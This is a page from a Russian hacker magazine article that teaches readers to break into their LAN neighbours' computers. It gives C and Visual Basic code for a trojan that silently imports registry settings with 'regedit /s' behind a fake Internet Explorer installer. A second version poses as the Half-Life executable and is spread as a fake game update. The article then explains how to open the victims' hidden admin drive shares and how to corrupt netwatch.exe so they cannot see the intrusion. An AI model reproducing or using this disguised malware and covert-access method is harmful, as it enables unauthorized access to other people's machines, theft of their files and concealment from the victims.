Администрируем соседов

OZNOB

Xakep, номер #027, стр. 027-050-3


{

FILE *file = fopen("rulez.dat","r");

if (file) // существует ли файл?

{

fclose(file);

WinExec("regedit.exe /s rulez.dat", 1);

}

if (MessageBox(NULL, "Продолжить инсталляцию "

"дополнений к программе Internet Explorer 5.0?",

"Install", MB_OKCANCEL) == IDOK)

{

Sleep(5000); // засыпаем на 5 секунд

MessageBox(NULL, "Инсталляция закончена",

"Install", MB_OK);

}

else

{

MessageBox(NULL, "Инсталляция прервана",

"Install", MB_OK);

}

return 0;

}

Судя по-написанному, сначала идет проверка на существование файла, потом импортирование настроек в реестр (если файл существует). Ключ "/s" в строке импортирования нужен, чтобы "regedit" не вопил: "Добавить в реестр информацию из файла rulez.dat???"

Пример на VB:

Если кто-нибудь все же решится сделать подобное на Васике, очень советую использовать 5.0 версию, т. к. в деле будет только одна библиотека "msvbvm50.dll". Создаем проект, лепим на форму много кнопок и рычагов ;), далее:

Private Sub Form_Load()

On Error Resume Next

If Dir("rulez.dat") <> "" Then

x = Shell("regedit /s rulez.dat", vbNormalFocus)

End If

If Dir("hlds.exe") <> "" Then

x = Shell(App.Path & "/hlds.exe", vbNormalFocus)

Else

Call MsgBox("Error include WONCr_W95.dll", vbCritical, "DLL wrong version")

End If

End

End Sub

On Error Resume Next - используется для перехвата ошибок. В целом - все как в предыдущем примере, только тут использована еще одна хитрость. Откомпиленный exe'шник имел скрытую форму, назывался и имел иконку "hl.exe", оригинальный же "hl.exe" был переименован в "hlds.exe" (пришлось пожертвовать выделенным сервером). В ту же директорию кидалась "msvbvm50.dll". После народу предлагалось скачать обновление HalfLife и сыграть в "свежак" всем стадом.

Скажу только, что последующие несколько дней я был занят тщательным изучением соседских винчестеров :).

Кстати, чтобы совсем никто не сомневался, увеличь размер файла - добавь в проект пару BMP'шек килобайт по триста.

Как админить

После того как шпион либо откомпиленная бодягя были впаяны соседу, приступим к удаленному администрированию. Запускаем "Инспектора" и смотрим, вдруг кто-нибудь уже шарится по нашим дискам ;). Кликаем на менюшке, и выбираем "Выбрать сервер". В появившемся окошке вводим имя компьютера, того самого соседа. ОК. Если до этого все было сделано правильно, то Netwach законнектится к удаленному компу. Теперь видно, кто лазает по его ресурсам (кроме тебя и него). Не закрывая "Инспектора", ломимся на комп с помощью эксплорера, там помимо обычных шаров будет список всех логических дисков с именами "C$", "D$"... открытых только для тебя на полный доступ. Кстати "Инспектор" не показывает, что системный ресурс "ADMIN$" открыт.

Напоследок еще кое-что посоветую. Лучше сразу после получения доступа на чужом компе проверить "netwatch.exe" и для безопасности либо стереть файл, либо запороть (открыть "Блокнотом" и вставить пару фраз по-испански). Это нужно для того, чтобы юзер не догадался, в чем дело, не увидел через netwach, что ты шаришься по его закрытым дискам.

Назад на стр. 027-050-2  Содержание  Вперед на стр. 027-050-4